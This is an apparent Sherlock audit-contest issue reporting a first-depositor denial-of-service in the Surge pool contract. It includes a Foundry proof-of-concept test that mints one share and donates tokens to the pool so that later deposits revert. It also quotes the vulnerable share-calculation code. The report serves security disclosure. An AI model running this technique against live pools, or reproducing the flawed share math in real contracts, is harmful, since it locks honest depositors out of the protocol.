sherlock-audit / 2023-02-surge-judging

4 stars 1 forks source link

y1cunhui - First Depositer can DoS the Pool. #288

Closed sherlock-admin closed 1 year ago

sherlock-admin commented 1 year ago

y1cunhui

high

First Depositer can DoS the Pool.

Summary

The first depositor could mint 1 share and donate a big number of loanToken to the pool, to cause the DoS.

Vulnerability Detail

This attack vector is common in contracts with the "pool" notion. Once the pool is depolyed, the malicious user found the event and become the first depositor by only mint 1 shares. Then it "donate"a large amount of loanToken by transfer it directly to the Pool. In this way, other depositors who try yo deposit less than the user "donated" will always get 0 shares and revert after tokenToShares.

PoC is shown below: (To run this PoC yourself, you may need to change the visibility of some functions in Pool.sol)

function testDoS() external {
        MockERC20 collateralToken = new MockERC20(10000e18, 18);
        MockERC20 loanToken = new MockERC20(10000e18, 18);
        Pool pool = factory.deploySurgePool(IERC20(address(collateralToken)), IERC20(address(loanToken)), 1e18, 0.8e18, 1e15, 1e15, 10e18, 10e18, 10e18);

        loanToken.approve(address(pool), type(uint).max);
        collateralToken.approve(address(pool), type(uint).max);
        pool.deposit(1);
        loanToken.transfer(address(pool), 10e18);
        console.log("%d loanTokenSupply in the pool, but just %d shareSupply", IERC20(address(loanToken)).balanceOf(address(pool)), pool.totalSupply());

        loanToken.transfer(address(1), 50e18);
        loanToken.transfer(address(2), 50e18);
        loanToken.transfer(address(3), 50e18);

        vm.startPrank(address(1));
        loanToken.approve(address(pool), type(uint).max);
        vm.expectRevert("Pool: 0 shares");
        pool.deposit(0.1e18);
        vm.stopPrank();
        vm.startPrank(address(2));
        loanToken.approve(address(pool), type(uint).max);
        vm.expectRevert("Pool: 0 shares");
        pool.deposit(1e18);
        vm.stopPrank();
        vm.startPrank(address(3));
        loanToken.approve(address(pool), type(uint).max);
        vm.expectRevert("Pool: 0 shares");
        pool.deposit(10e18);

        pool.deposit((10e18)+2);
        vm.stopPrank();

    }

Impact

This lead to the DoS of deposit

Code Snippet

https://github.com/sherlock-audit/2023-02-surge/blob/main/surge-protocol-v1/src/Pool.sol#L199-L204


    function deposit(uint amount) external {
        ...

        uint _shares = tokenToShares(amount, (_currentTotalDebt + _loanTokenBalance), _currentTotalSupply, false);
        require(_shares > 0, "Pool: 0 shares");
        ...
    }

  function tokenToShares (uint _tokenAmount, uint _supplied, uint _sharesTotalSupply, bool roundUpCheck) internal pure returns (uint) {
        if(_supplied == 0) return _tokenAmount;
        uint shares = _tokenAmount * _sharesTotalSupply / _supplied;
        if(roundUpCheck && shares * _supplied < _tokenAmount * _sharesTotalSupply) shares++;
        return shares;
    }

Tool used

Manual Review Foundry

Recommendation

Consider the solution in Uniswap V2

Duplicate of #125